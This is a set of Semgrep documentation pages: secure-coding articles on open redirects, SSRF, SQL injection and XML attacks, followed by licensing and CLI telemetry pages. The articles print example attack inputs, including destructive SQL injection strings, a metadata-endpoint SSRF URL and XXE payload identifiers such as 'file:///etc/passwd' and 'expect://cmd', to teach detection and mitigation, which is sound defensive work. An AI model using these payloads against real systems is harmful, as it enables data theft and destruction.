The most effective defense is to ensure that user input never directly controls the full redirect destination.
If your application needs to support dynamic redirects, restrict them to a predefined list of safe domains or internal paths. Check if your library or framework provides utility functions to safely redirect to known paths, such as [Djangoβs `reverse()` function.](https://docs.djangoproject.com/en/5.2/ref/urlresolvers/)
```python theme={null}
from django.http import HttpResponseRedirect, HttpResponseBadRequest
from django.urls import reverse, NoReverseMatch
def safe_redirect(request):
target = request.GET.get("next")
try:
# reverse() only resolves to registered Django views
safe_url = reverse(target)
return HttpResponseRedirect(safe_url)
except NoReverseMatch:
return HttpResponseBadRequest("Invalid redirect target")
return HttpResponseBadRequest("Redirect not allowed")
```
If you must implement the allowlist yourself, be careful to implement the checks correctly. Attackers have many workarounds for common implementations. Take a look at [Portswiggerβs url validation bypass cheat sheet](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) to see how creative they can get.
Even, then, if you correctly restrict the URL, as weβve seen in the example attacks, redirects to restricted domains can still be useful to an attacker turning them into SSRF vectors.
If it is not possible to use any of the above defenses, another useful approach is to notify the user whenever they are leaving your site. Showing the external domain clearly gives them a chance to recognize when something looks suspicious.
## Conclusion
Open redirects may look like a minor detail, but they can have major consequences. When untrusted input controls navigation, attackers can exploit the trust users place in your domain and redirect them to harmful destinations.
In this article, we covered what redirects are, how attackers abuse them, how to spot vulnerable code, and what practical steps you can take to avoid them. The takeaway is simple: never let raw user input decide where your program redirects.
Redirect logic will always be part of building modern applications, but with careful validation and the help of tools like Semgrep, you can keep your projects safe from this subtle but impactful issue.
# Understanding Security Vulnerabilities
Source: https://docs.semgrep.dev/learn/vulnerabilities/overview
An **application security vulnerability** is a weaknesses in software systems that can be exploited by attackers to compromise the confidentiality, integrity, or availability of applications and data. Understanding these vulnerabilities is crucial for building secure applications and maintaining a strong security posture.
## What We'll Teach You
This section covers common security vulnerabilities that affect modern applications. For each vulnerability type, we'll explain:
* **How the vulnerability occurs** including the root causes and common scenarios.
* **Real-world examples** with code patterns that introduce these types of issues.
* **Impact and risks** as a consequence for when these vulnerabilities are exploited.
* **Prevention techniques** and secure coding best practices to avoid the problems.
* **Detection methods** such as how Semgrep can help with identification by scanning code.
Learning about these vulnerabilities helps you write more secure code and build better defenses into your applications from the start.
## Vulnerability Categories
## Additional Resources
* [Security Research Blog](https://semgrep.dev/blog/security-research/): Recent blog posts from the Semgrep Security Research team discussing trends in vulnerability research and application security.
# Server Side Request Forgery (SSRF)
Source: https://docs.semgrep.dev/learn/vulnerabilities/server-side-request-forgery
**Server-Side Request Forgery (SSRF)** happens when a malicious user can manipulate your application into making network requests to unintended servers. This vulnerability is possible when users can manipulate the domain of a URL that your server sends requests to.
This article will walk you through the fundamentals of SSRF, explain how common attacks work, show what vulnerable code looks like, and provide practical steps you can take to prevent these issues in your own projects.
## What is SSRF?
In 2021, the security community added Server-Side Request Forgery (SSRF) to the OWASP Top 10 list of most critical web application risks. The OWASP Top 10 is based on recent data from a variety of sources such as security vendors and consultancies and bug bounties. SSRF earned its spot due to several high-profile breaches that have been traced back to SSRF, including incidents where attackers gained access to internal cloud metadata services.
Server-Side Request Forgery is a security issue that arises when a program accepts input from a user and uses it to make network requests. The original purpose of fetching remote data from within server-side code is usually harmless. You might need to grab a file from a partner service, query an external API, or allow users to preview a link.
The risk of SSRF comes from the way applications handle user-supplied URLs. When a program takes input from a user and uses it to build an outbound request, the server effectively allows the user to decide where the application sends requests to. Because these requests come from inside the serverβs own environment, they often bypass the protections that normally shield internal services from the public internet. Features such as automatic redirects, flexible URL parsing, or built-in authentication can make the problem worse, because they extend the serverβs reach and trust in ways an attacker can exploit.
## Common SSRF Attacks
One of the simplest SSRF attacks involves making a request to a URL controlled by the attacker. Imagine a web application that lets users paste in a link to fetch metadata. If the application directly requests whatever link the user provides, the attacker can force the server to fetch malicious content instead of safe data like:
```text theme={null}
https://attacker.com
```
A second type of attack targets internal services. Cloud environments often expose metadata endpoints on private network addresses. An attacker who provides a URL like:
```text theme={null}
https://169.254.169.254/latest/meta-data/
```
The above can trick your server into retrieving sensitive metadata and credentials from the internal network. From there, the attacker may escalate access to control cloud resources or steal secrets.
OWASP maintains an [SSRF cheat sheet](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29) with further examples.
## Detecting SSRF Vulnerabilities in Your Code
Letβs look at a short Python example:
```python theme={null}
import requests
from flask import request
def fetch_data_vulnerable():
user_supplied_url = request.args.get("url")
if user_supplied_url.startswith("https://semgrep.dev")
response = requests.get(user_supplied_url)
else
response = None
return response.text
def fetch_data_securely():
user_supplied_request_params = request.args.get("params")
response = requests.get("https://semgrep.dev/" + user_supplied_request_params)
return response.text
```
In the function `fetch_data_vulnerable`, a request is made to a user-supplied url. There is a check to see if the url is on the domain [`semgrep.dev`](https://semgrep.dev) but it is insufficient. Notice what happens if the user enters `https://semgrep.dev.attacker.com`. The resulting URL is an attacker-controlled domain. This is a textbook case of SSRF.
Tools like Semgrep can detect this type of issue automatically. They will look for untrusted input from user requests flowing into functions that send HTTP requests. The rule recognizes when user input is concatenated into the URL or passed through intermediate variables. This makes it practical to find SSRF vulnerabilities across large codebases without needing to manually inspect every string operation.
## Recommendations and Mitigations
It is often required or desirable for the functionality of the application to let users control part of the request. However, to avoid SSRF, under no circumstances should you allow user input to control the host portion of a URL. As weβve seen earlier in this article, even checking the domain against an allowlist is still risky if itβs not properly implemented. The best solution is to restrict user input to safe components of the url such as query parameters or paths, and encode them properly.
So, instead of building `https://` + user input, consider using a fixed base domain like `https://api.semgrep.dev/` and only appending user-controlled values after it.
If this is not possible, validation can still be a strong defense. Apply strict checks to ensure that user input does not include unexpected schemes (`file://`, `gopher://`, etc.), IP addresses, or nested authentication segments. Where possible, use allowlists of trusted domains, rather than trying to block known bad ones.
Finally, monitor your code regularly. Automated tools like Semgrep make it easier to detect when risky patterns creep in over time. Running these checks as part of your development workflow can prevent issues from slipping into production in the first place.
## Conclusion
Server-Side Request Forgery has been the root cause of significant breaches. The core risk is simple: if your server makes requests based on untrusted input, you may unintentionally give attackers a bridge into systems they should never reach.
We covered the basics of SSRF, explored common attacks, looked at a vulnerable code example, and reviewed practical ways to prevent this issue. The main message is clearβnever let users dictate the base of the URL your server requests.
Just as high-profile breaches showed, overlooking SSRF can turn a small coding choice into a major incident. By understanding the risk and applying the safeguards discussed here, you can protect your projects and avoid repeating the mistakes that attackers count on. If youβd like to go deeper, try running Semgrep on your own code and explore our security rules for SSRF detection.
# SQL Injection
Source: https://docs.semgrep.dev/learn/vulnerabilities/sql-injection
If your application uses **Structured Query Language (SQL)** for a relational database and takes any userβinput (directly or indirectly), unsanitized input can be used by an attacker to inject a compromised instruction to your database. This can lead to data theft, data corruption, privilege escalation, or even remote code execution in some cases. These flaws compromise system integrity for your applications.
This type of vulnerability is well known but still too often left open to compromise. To prevent **SQL injection**, treat user input as tainted, not as safe variables to include in your queries. Parameterized queries, object-relational mapping (ORM) libraries and other safe queryβbuilding methods are plentiful.
In this article, weβll explain what SQL injection is and why it still matters. Next, weβll look at common ways itβs exploited and show code examples to help you identify it in your own code. Finally, weβll offer recommendations and mitigation strategies you can apply immediately.
## What is SQL Injection (SQLi)
SQL is used to query relational databases. When building SQL queries, often developers include parts of queries that come from user input. If the input is not safely handled, an attacker can βinjectβ SQL fragments that alter the structure of the query. Instead of just passing as data, the user input influences the logic (ie. conditions, clauses, or even entirely new statements).
There are many reasons this vulnerability still happens.
* many frameworks or libraries allow (or even require) some dynamic SQL assembly
* concatenating strings or using template interpolation is convenient
* when optimizing long query performance, safeguards from ORM or other abstractions may be short-circuited
Somtimes in large codebases, legacy code, or unsafe patterns persist in documentation that may have been used as a reference.
## Common SQL Injection Attacks
Letβs walk through some examples for what SQL injection looks like in real-world code.
A typical SQLi vulnerability starts when user input is embedded directly into a SQL query string. Consider this Python example:
```python theme={null}
def search(request):
query = request.GET['q']
sql = f"SELECT * FROM semgrep_customers WHERE company = '{query}';"
cursor = db.cursor()
cursor.execute(sql)
```
There are DB compliant libraries that can be used with a variety of databases incuding sqlite, postgres, mysql, and more.
This may seem like a standard select, but you might notice that if the user submits something that disrupts parsing the query they can execute arbitrary SQL commands.
Passing `' OR 'a'='a` as your query becomes:
```sql theme={null}
SELECT * FROM semgrep_customers WHERE company = '' OR 'a'='a';
```
This returns all rows in the table because the second expression always evaluates to true. In a more damaging case, the attacker might input something like:
```sql theme={null}
'; DELETE FROM semgrep_customers; --
```
This could delete all data in that table. All it took was a few characters in a user-supplied input field.
### Classic Injection via string concatenation
The above example used string interpolation but the same can occur when concatenating strings.
Suppose you build a query like this:
```javascript theme={null}
"SELECT * FROM users WHERE name = '" + userInput + "';"
```
By manipulating the value of `userInput` the attacker can inject their command into the query behavior such as returning the full table results `' OR '1'='1` or executing arbitrary database operations with `; DROP table users; --`.
### Blind SQL Injection
The previous examples still require knowledge of how the database tables are structured and which database is being used. The attacker might be able to infer details by using boolean conditions, timing (delays), or injecting error codes.
A successful or failure in a query can leak information.
For example:
```sql theme={null}
WHERE IF( substring(column,1,1) = 'a', sleep(5), 0)
```
If the response is delayed, the attacker infers that the first letter is βaβ.
### Secondβorder SQL Injection
Another indirect attack vector may be when data is fetched from the database itself and used in a query. If an attacker can enter data into the database, they can insert the malicious string that the source code treats as a trusted source because the data came from inside the database.
Suppose user input is sanitized superficially, stored, but later passed through un-sanitized dynamic SQL. An attack happens when that second usage of the payload occurs.
## Detecting SQL Injection Vulnerabilities in Your Code
Some general guidance on where to focus triage for SQLi:
* Places in code where user input (from query params, body, cookies, headers, files, etc.) enters and is used in raw SQL functions, dynamic query builders, or template literals.
* Usage of dangerous βraw queryβ / βquery stringβ APIs. In many frameworks or ORMs there are methods like query(...), execute(...), or string interpolation.
* Absence of parameter binding, named parameters, or prepared statements.
Semgrep can help identify SQL injection patterns across large codebases. You can use the [p/sql-injection](https://semgrep.dev/p/sql-injection) ruleset to find common injection patterns, including following more complex tainted data flows.
Integrating Semgrep scanning into your development workflow is a way to catch SQLi issues during development and before reaching production. To scan your codebase run:
```bash theme={null}
semgrep --config p/sql-injection
```
### Example Semgrep Rule: express-sequelize-injection
Consider this JavaScript / TypeScript / Express + Sequelize code:
```javascript theme={null}
let criteria = req.query.foo
// ok: this is proper handling that should not match
sequelize.query(
'SELECT * FROM projects WHERE status = ?',
{
replacements: [req.body.foo],
type: QueryTypes.SELECT
}
)
// Unsafe: direct interpolation / template literal
sequelize.query(`SELECT * FROM Foo WHERE criteria LIKE '%${criteria}%'`);
// Unsafe: using replacement in object but still embedding unsanitized user data
sequelize.query(`SELECT * FROM Foo WHERE criteria LIKE '%${obj.replacements[0]}%'`);
```
These are flagged by the [express-sequelize-injection](https://semgrep.dev/playground/r/bZT2ew/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection) rule.
## Recommendations and Mitigations
Here are some robust and concrete tips for writing secure database queries.
### Always use parameterized queries
This is the most reliable way to prevent SQLi. Instead of building the SQL string manually, placeholders are used and the values are passed separately. This separates code from data and let's the library properly check for and escape any malicious strings.
This is a Python example that lets the `execute` function santize the query string that was passed with an http request:
```python theme={null}
cursor.execute(
"SELECT * FROM some_table WHERE title LIKE %s",
[request.GET['q']]
)
```
Most database drivers support parameterized queries because this has been a long-standing problem in the industry. Specific placeholder syntax may vary (`%s`, `?`, `:name`, etc.) but the concept remains the same.
### Avoid raw string construction in queries
Even if data appears safe and from a trusted source, if a user can manipulate it avoid using it in concatenation expressions or string interpolation.
### Make the safe path the default
Favor tools and abstractions (like ORMs) that use parameterized queries by default. If you have to drop down to raw queries for performance or flexibility reasons, document why, and audit the input path rigorously.
### Audit third-party query extensions
Even if you're using an ORM, be cautious with third-party extensions or custom query builders. These sometimes allow constructing queries via string interpolation under the hood, which can reintroduce the same risk. Prefer mature and well-reviewed packages as part of your software supply chain.
### Check stored procedures too
Application code is not the only place where injection can occur. A stored procedure may run with the database, but if not checked or scanned could still leave the database open to compromise. Avoid unsafe constructs like EXEC or EXECUTE in combination with concatenation.
### Limit database privileges
Use separate permissions for database maintenance / migration / schema changes from the permissions used for application logic.
While this does not prevent SQLi from happening, it can limit the consequences.
### Catch Database Errors
Attackers will look at error messages to learn more about how something has been designed. If a database error is not caught in the application logic and is presented to the end user, this could provide a clue that there is an underlying vulnerability waiting to be exploited.
## Conclusion
SQL injection is a wellβknown, yet still prevalent vulnerability. It arises whenever user input is treated as part of the SQL command, rather than strictly as literal data.
We saw how SQL injection works (string concatenation, template literals, blind or secondβorder forms), and how detection tools like Semgrep can help. We outlined strong mitigation strategies such as parameterization, use of trusted libraries, strict input validation, least privilege, etc.
# XML Security
Source: https://docs.semgrep.dev/learn/vulnerabilities/xml-security
If your applications ever parse XMLβwhether it comes from user uploads, web services, or configuration filesβyou could be exposed to a risk. For developers, this matters because even if you are not writing low-level parsing code, the libraries you rely on might be insecure by default.
The key takeaway is simple: XML is powerful but risky. Unless you configure your parser securely, attackers can exploit features that were designed for flexibility, not safety.
This article will give you a solid foundation in XML security. First, weβll look at the basics of XML and the features that create risks. Next, weβll walk through the most common XML-based attacks and show you how to recognize them in code. Finally, weβll cover practical steps you can take to configure parsers securely and reduce your exposure.
## What is XML Security?
In 2017, XML security had its own spot on the OWASP Top 10 list of the most critical web application risks. In the latest 2021 update, it is no longer called out as a separate category but instead falls under βSecurity Misconfiguration.β Even so, XML vulnerabilities remain commonβsearching the CVE database for XML-related flaws returns thousands of entries, including recent ones that enabled attackers to steal data or execute code remotely.
Fundamentally, as its name indicates, eXtensible Markup Language (XML) is a markup language. It is designed for storing and sending data.
XML provides several mechanisms for loading parts from the document from other sources. Two commonly used mechanisms are external Document Type Definitions (DTDs), and external entities.
### External Document Type Definition
The XML DTD is defined at the top of an XML document using the `DOCTYPE` keyword. It defines the legal structure of the document.
```xml theme={null}
]>
```
When this DTD is loaded from another source instead of defined in the document itself, it is called an external DTD. To use an external DTD, use the `SYSTEM` keyword and provide a URL or filename to the DTD.
```xml theme={null}
```
### External XML Entities
XML entities are used to represent structured data. The XML specification has several entities built in. But as the X in XML implies: it is an extensible language and custom entities can be defined in the DTD using the `ENTITY` keyword.
```xml theme={null}
]>
```
XML entities can recursively use other custom entities in their definition.
```xml theme={null}
```
Similarly to external DTDs, entities can also be externally loaded using the `SYSTEM` command, these are called external XML entities.
```xml theme={null}
]>
```
The XML specification includes more than just DTDs and external entities for including external data. Other features like XInclude, the `schemaLocation` attribute, the `xsl:include` element, the `document()` function, and `import` or `include` statements can all be used to reference external resources. You can find an overview of these and more in our [XML Cheat Sheet](/cheat-sheets/java-xxe).
## Common XML Attacks
XML was designed to store and transmit data. When an application receives an XML file, or reads one from the filesystem, it needs to parse the XML data. To achieve this many libraries are available that implement the XML specifications as described above. However, if the XML data is untrusted, there are several features in the specifications that can be manipulated to achieve malicious behaviour.
### XML Injection
The first type of attack does not trick the parser into fetching external content. Instead, the attacker injects additional tags or attributes into the XML itself to alter the logic of the application.
Imagine an application that reads user account details from XML like this:
```xml theme={null}
pieterfalse
```
If the application does not validate input properly, an attacker could send:
```xml theme={null}
pietertrue
```
If the code simply trusts the `admin` field, the attacker could escalate privileges. This is similar in spirit to SQL Injection but applied to XML-based logic.
### Exponential Entity Expansion (XEE)
**EXpontential Entity Expansion (XEE)** happens when the mechanism for recursively defining XML entities with other entities is manipulated into expanding several layers of nested entities. This type of attack is also known as an XML bomb or billion laughs attack. As an example, here is the [XML bomb payload](https://github.com/semgrep/java-xxe-research/blob/main/payloads-new/xml-attacks/xml-bomb.xml) we used in our research project on GitHub.
```xml theme={null}
]>
&lol9;
```
Parsing a document like that with several layers of nested entities can lead to the parser consuming too many resources on the server, leading to a Denial of Service (DoS) attack.
### XML External Entity (XXE) Injection
**XML eXternal Entity (XXE)** happens when one of the 9 mechanisms to include external content is manipulated into parsing read content from an unintended location. This can lead to the disclosure of confidential data if the identifier supplied by the attacker is something like `file:///etc/passwd` . In other cases, XXE payloads can be used to upload code files that can later be triggered in remote code execution attacks, like in [this CVE](https://www.horizon3.ai/red-team-blog-cve-2022-28219/#:~:text=Then%20send%20the%20request%20to%20trigger%20the%20XXE%20and%20file%20upload%3A) where the identifier referenced a java code archive. In PHP, the right identifier by itself can even cause arbitrary code execution when the `expect` module is loaded. In that case, a pseudo-uri like `expect://cmd` will execute `cmd` and return the output of the command.
## Detecting XML Security Vulnerabilities in Your Code
Detecting XML issues can be challenging because risky behavior often comes from default parser configurations rather than obvious coding mistakes. Letβs look at a Java example.
```java theme={null}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse("input.xml");
```
At first glance, this looks harmless. But in many XML libraries, this setup will **process external entities by default**. If `input.xml` is attacker-controlled, the parser could make network requests or expose files.
Tools like **Semgrep** can help detect these patterns. Rules for XXE look for places in code where XML parsing from untrusted sources occurs without security features enabled. For XML Injection, detection is more about how the application uses parsed data. If the code blindly trusts XML input without validating it against a strict schema, thatβs a sign of risk.
## Recommendations and Mitigations
While the flexibility of XML can lead to security vulnerabilities, you can mitigate these risks by configuring your parser correctly and adopting a secure development mindset. Here are some key recommendations and mitigations to consider.
### Consider using alternative formats
Before you even start, ask yourself if you really need to use XML. For many modern applications, simpler and less risky data formats like **JSON** (JavaScript Object Notation) or **YAML** (YAML Ain't Markup Language) are perfectly suitable. Both are lightweight and widely supported, offering similar data-structuring capabilities without the complex and sometimes vulnerable features of XML like DTDs and external entities. If your use case involves web APIs or configuration files, JSON or YAML can be a much safer default choice.
### Use up-to-date language and libraries
Staying current is critical. Vulnerabilities are frequently discovered in older language versions and libraries. During some of our research on XML parsers in Java, we ran into a known JDK bug where DOM parsers do not honor setExpandEntityReferences(false) for certain JDK versions. Using up-to-date versions ensures you benefit from the latest security patches and bug fixes. Regularly check for updates and integrate them into your development workflow.
### Disabling DTD processing
One of the most effective ways to prevent both XEE and XXE attacks is to disable DTD processing entirely. Since DTDs are the primary mechanism for declaring and referencing entities, disabling them prevents the parser from attempting to process any external content. Most XML parsers provide a configuration setting to achieve this. For instance, in Java, you can often set a `FEATURE` like `XMLConstants.FEATURE_SECURE_PROCESSING` or `XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES` to `false`.
### Disable external entities
If you can't disable DTDs completely, the next best thing is to disable external entities. This is a more granular approach that allows internal DTDs to be processed while blocking any references to external resources. This can be configured separately from DTD processing and is a key step in preventing XXE attacks. Some parsers, like the Python `defusedxml` library, are specifically designed to be resistant to these attacks by default, making them a safer alternative to standard libraries.
### Disabling external schema/stylesheet processing
To prevent attacks related to schema and stylesheet processing, you can also configure your parser to disable the processing of external schemas and stylesheets. The specific method depends on the library, but it's a critical security control to include in your parser's configuration. In Java, the `setAttribute` method can be used to set `XMLConstants.ACCESS_EXTERNAL_SCHEMA` and `XMLConstants.ACCESS_EXTERNAL_STYLESHEET` to an empty string to disable these features. The feature, however, is not implemented effectively for all parsers, consult our cheat sheet to ensure you configure your specific parser securely!
## Conclusion
XML is flexible, but that flexibility comes with risks. Features like entities, DTDs, and external references were designed for convenience, not for secure handling of untrusted data. Left unconfigured, many parsers will expose your application to denial-of-service, data disclosure, or logic flaws.
We covered the basics of XML, walked through the common attacks of entity expansion, XXE, and XML injection, and showed how to recognize insecure parsing patterns in code. The most important step you can take is to configure parsers securely or avoid XML entirely if you donβt need it.
To dive deeper, explore the [Semgrep XML Security resources](/cheat-sheets/java-xxe) and consider scanning your code with Semgrep to catch risky configurations before attackers do.
Just like the OWASP top 10 reflects, XML risks haven't disappearedβthey've just become part of a broader story about secure configuration.
# Licensing
Source: https://docs.semgrep.dev/licensing
The following is a list of products offered by Semgrep, Inc., along with their license information.
**Semgrep Registry**
Β Β Β Β Β Β The [Semgrep Registry](https://semgrep.dev/explore) is a collection of rules and rulesets:
* All rules, which includes both Community and Pro rules, listed in the [semgrep-rules](https://github.com/semgrep/semgrep-rules) repository are licensed under [Semgrep Rules License v.1.0](https://semgrep.dev/legal/rules-license). They are available only for internal business use. Vendors cannot use Semgrep-maintained rules in competing products or SaaS offerings. Individuals, security consultants, and companies are welcome to use the rules internally.
* Rules from third-party repositories in the [Semgrep Registry](https://semgrep.dev/explore) inherit the licenses of their source repositories. These licenses are displayed within the rule definition in the editor. For example: [Rules written by Trail of Bits](https://semgrep.dev/p/trailofbits) security experts licensed under AGPL-3.0 license.
**Semgrep AppSec Platform**
Β Β Β Β Β Β Proprietary. See [Terms of Service](https://semgrep.dev/terms).
**Semgrep Code**
Β Β Β Β Β Β Proprietary. See [Terms of Service](https://semgrep.dev/terms).
**Semgrep Secrets**
Β Β Β Β Β Β Proprietary. See [Terms of Service](https://semgrep.dev/terms).
**Semgrep Supply Chain**
Β Β Β Β Β Β Proprietary. See [Terms of Service](https://semgrep.dev/terms).
**Semgrep Community Edition (CE)**
Β Β Β Β Β Β The Semgrep CE engine is an open source project licensed under [LGPL 2.1](https://github.com/semgrep/semgrep/blob/develop/LICENSE). The proprietary extension of Semgrep CE is Semgrep Code, see also [Terms of Service](https://semgrep.dev/terms).
## License Semgrep for use
If you are interested in using Semgrep products for your own solutions and code analysis tools, send us an email at [partnerships@semgrep.com](mailto:partnerships@semgrep.com)
# Semgrep metrics
Source: https://docs.semgrep.dev/metrics
Semgrep CLI may collect aggregate metrics to help improve the product. This document describes:
* [the principles that guide our data-collection decisions](#principles)
* [how to change when Semgrep sends metrics](#automatic-collection-opt-in-and-opt-out)
* [what data is not collected](#data-not-collected)
* [what data is collected](#data-collected-as-metrics)
# Semgrep metrics
Semgrep CLI may collect aggregate metrics to help improve the product. This document describes:
* [the principles that guide our data-collection decisions](#principles)
* [how to change when Semgrep sends metrics](#automatic-collection-opt-in-and-opt-out)
* [what data is not collected](#data-not-collected)
* [what data is collected](#data-collected-as-metrics)
## Principles
These principles inform our decisions around data collection:
1. **Transparency**: Collect and use data in a way that is clearly explained to the user and benefits them
2. **User control**: Put users in control of their data at all times
3. **Limited data**: Collect what is needed, pseudoanonymize where possible, and delete when no longer necessary
## Automatic collection, opt-in, and opt-out
```sh theme={null}
$ semgrep --config=myrule.yaml # β no metrics (loading rules from local file)
$ semgrep --config=p/python # β metrics enabled (fetching Registry)
$ semgrep login && semgrep ci # β metrics enabled (logged in to semgrep.dev)
$ semgrep install-semgrep-pro # β metrics enabled (requires being logged in)
```
Semgrep does **not** enable metrics when running with only local configuration files or command-line search patterns.
Semgrep does enable metrics if rules are loaded from the [Semgrep Registry](https://semgrep.dev/r).
This helps maintainers improve the correctness and performance of registry rules.
Metrics may also be configured to be sent on every run, or never sent.
To configure metrics, pass the `--metrics` option to Semgrep:
* `--metrics auto`: (default) metrics are sent whenever rules are pulled from the [Semgrep Registry](https://semgrep.dev/r) or the user is logged in.
* `--metrics on`: metrics are sent on every Semgrep run
* `--metrics off`: metrics are never sent
Alternatively, set the `SEMGREP_SEND_METRICS` environment variable to `auto`, `on`, or `off`.
Note that certain Semgrep integrators turn on metrics for every run.
For example, [GitLab's Semgrep SAST analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) uses `--metrics on` by default.
## Data NOT collected
### Data NOT collected ever
We strive to balance our desire to collect data for improving Semgrep
with our users' need for privacy and security.
After all, we are a security tool!
The following never leave your environment and are not sent or shared with anyone.
* Source code
* Private rules
### Data NOT collected unless explicitly requested
The following data will never leave your environment as part of metrics.
* Filenames
* Git commit hashes, timestamps, messages, authors
* User-identifiable data about Semgrepβs findings in your code, including finding messages
This data will be sent to Semgrep AppSec Platform only if you explicitly request it,
such as with `semgrep login && semgrep ci` to connect with Semgrep AppSec Platform.
Even in that case, your source code and private rules will never be sent.
## Data collected as metrics
Semgrep CLI collects data to improve the user experience.
Five types of data are collected:
### Environmental
Environmental data provide contextual data about Semgrep CLIβs runtime environment, as well as information that helps debug any issues users may be facing; e.g.
* How long the command took to run
* The version of Semgrep CLI
* An [anonymous user ID](#anonymous-user-id) that identifies the machine
* IP address that triggers a run
* Value of the CI environment variable, if set
* How the Semgrep CLI was installed (`pip`, `homebrew`, `docker`, or `unknown`), detected heuristically from the install path and environment variables
* Pseudoanonymized hash of the scanned projectβs name
* Pseudoanonymized hash of the rule definitions run
* Pseduoanonymized hash of the config option.
*(Note that when a config option downloads a ruleset from the [https://semgrep.dev](https://semgrep.dev) registry, [feature usage metrics](#feature-usage) still include the ruleset name in plain text.)*
### Performance
Performance data enable understanding of which rules and types of files are slow in the aggregate so Semgrep, Inc can improve the program-analysis engine, query optimizer, and debug slow rules; e.g.
* Runtime duration
* Duration of individual phases (e.g. parsing)
* Total number of rules
* Total number of files
* Project size in bytes
### Parse Rates
Aggregated parse rate information is reported on a per-language basis; e.g.,
* Number of targeted files
* Number of files without any parse-related error
* Number of bytes across targeted files
* Number of bytes without any parse-related error
### Errors
High-level error and warning classes encountered when run; e.g.
* Semgrepβs return code
* The number of errors
* Compile-time error names, e.g., MaxFileSizeExceeded, SystemOutOfMemory, UnknownFileEncoding
### Value
Data that indicate how useful a run is for the end user; e.g.
* Number of raised findings
* Number of ignored findings
* Pseudoanonymized hashes of the rule definitions that yield findings
* The [features used](#feature-usage) during the scan
* The engine type requested for the scan
### Extension
Additional data is reported when used in conjunction with an IDE integration, such as the [Semgrep VS Code Extension](https://github.com/semgrep/semgrep-vscode), that help us understand what IDEs are used and how helpful the integrations are for users; e.g.
* IDE being used
* Version of IDE integration
* Number of fixes triggered through the integration
* Number of findings ignored through the integration
Note: For all officially supported Semgrep IDE integrations, these metrics can be disabled via settings in the IDE. By default these settings follow any global telemetry/metrics settings the user may have already set for the IDE itself.
### Pro Engine installation
When running `semgrep install-semgrep-pro` (which requires being logged in), additional data is reported to help us understand how many Pro Engine installations happen and how many succeed; e.g.
* Whether the installation completed successfully
* Which installation step failed, as a fixed identifier such as `download-403` or `version-check-failed` (never a free-form error message)
### Pseudoanonymization
Certain identifying data (e.g. project URLs) are pseudoanonymized before being sent to the Semgrep, Inc backend.
"Pseudoanonymized" means the data are transformed using a deterministic cryptographically secure hash. When the input data are unknown, this hash is expensive to reverse. However, when input data are known, a reverse dictionary of identifiers to hashes can be built. Hence, data are anonymous only when the source values are unknown.
We use a deterministic hash to:
* Track performance and value improvements over successive runs on projects
* Remove test data from our metrics
Using a deterministic hash, however, implies:
* An entity that independently knows the value of an input datum AND who has access to Semgrep, Inc's metrics data could access metrics for that known datum
Semgrep, Inc will:
* Treat collected metrics data as secret, using application-security best practices, including (but not limited to)
* Encryption during transit and rest
* Strict access control to data-storage systems
* Application-security-policy requirements for third parties (e.g. cloud-service providers; see "data sharing" below)
* Only correlate hashed data to input data when these inputs are already known to Semgrep, Inc (e.g. publicly available project URLs for open-source projects, or projects that log in to the Semgrep Registry)
## Description of metrics fields
| Category | Field | Description | Use Case | Example Datum | Type |
| ----------- | --------------------------------------- | ----------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------- |
| Environment | | | | | |
| | Timestamps (started/sent) | Time when the event fired | Understanding tool usage over time | 2021-05-10T21:05:06+00:00 | String |
| | Event ID | A random UUID generated when sending the event. | Deduplicating events in case of issues during transmission | 222bcccd-9dc2-4d10-ac3a-5692460e77ee | String |
| | [Anonymous User ID](#anonymous-user-id) | A random UUID generated on first run. | Unique users per ruleset and feature. Understanding percentage of logged in users. | 5f52484c-3f82-4779-9353-b29bbd3193b6 | String |
| | Version | Semgrep version being used | Reproduce and debug issues with specific versions | 0.51.0 | String |
| | Project hash | One-way hash of the project URL | Understand performance and accuracy improvements | `c65437265631ab2566802d4d90797b27fbe0f608dceeb9451b979d1671c4bc1a` | String |
| | Rules hash | One-way hash of the rule definitions | Understand performance improvements | `b03e452f389e5a86e56426c735afef13686b3e396499fc3c42561f36f6281c43` | String |
| | Config hash | One-way hash of the config argument | Understand performance and accuracy improvements | `ede96c41b57de3e857090fb3c486e69ad8efae3267bac4ac5fbc19dde7161094` | String |
| | Is authenticated | Whether the user logged in to semgrep.dev with `semgrep login` | Understand popularity of logged in features | `false` | Boolean |
| | Deployment ID | The ID organization associated with the logged in account | Understand popularity of logged in features by organization | 1234 | Number |
| | Integration name | If Semgrep is being called by another tool, optional name of that integration | Reproduce and debug issues specific integrations | `gitlab` | String |
| | CI | Notes if Semgrep is running in CI and the name of the provider | Reproduce and debug issues with specific CI providers | GitLabCI v0.13.12 | String |
| | Install method | How the Semgrep CLI was installed, detected heuristically | Understand which distribution channels are used; debug channel-specific issues | `pip` | String |
| | Client IP | IP address that triggered a run | Understand broad ruleset usage | 0.0.0.0 | String |
| | | | | | |
| Performance | | | | | |
| | Duration | How long the command took to run | Understanding aggregate performance improvements and regressions | 14.13 | Number |
| | Total Rules | Count of rules | Understand how duration is affected by #rules | 137 | Number |
| | Total Files | Count of files | Understand how duration is affected by #files | 4378 | Number |
| | Total Bytes | Summation of target file size | Understand how duration is related to total size of all target files | 40838239 | Number |
| | Rule Stats | Performance statistics (w/ rule hashes) for slowest rules | Debug rule performance | `[{"ruleHash": "7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166","parseTime": 0,"matchTime": 0.05480456352233887,"runTime": 0.20836973190307617,"bytesScanned": 0}]` | StatsClass\[] |
| | File Stats | Performance statistics for slowest files | Debug rule performance | `[{"size": 6725,"numTimesScanned": 147,"parseTime": 0.013289928436279297,"matchTime": 0.05480456352233887,"runTime": 0.20836973190307617}]` | StatsClass\[] |
| | | | | | |
| | | | | | |
| Parsing | | | | | |
| | Total Files | Count of files, on a per-language basis | Understand parsing performance | 143 | Number |
| | Total Bytes | Summation of target file size, likewise grouped | Understand parsing performance | 41244 | Number |
| | Parsed Files | Count of files without parse errors | Understand parsing performance | 140 | Number |
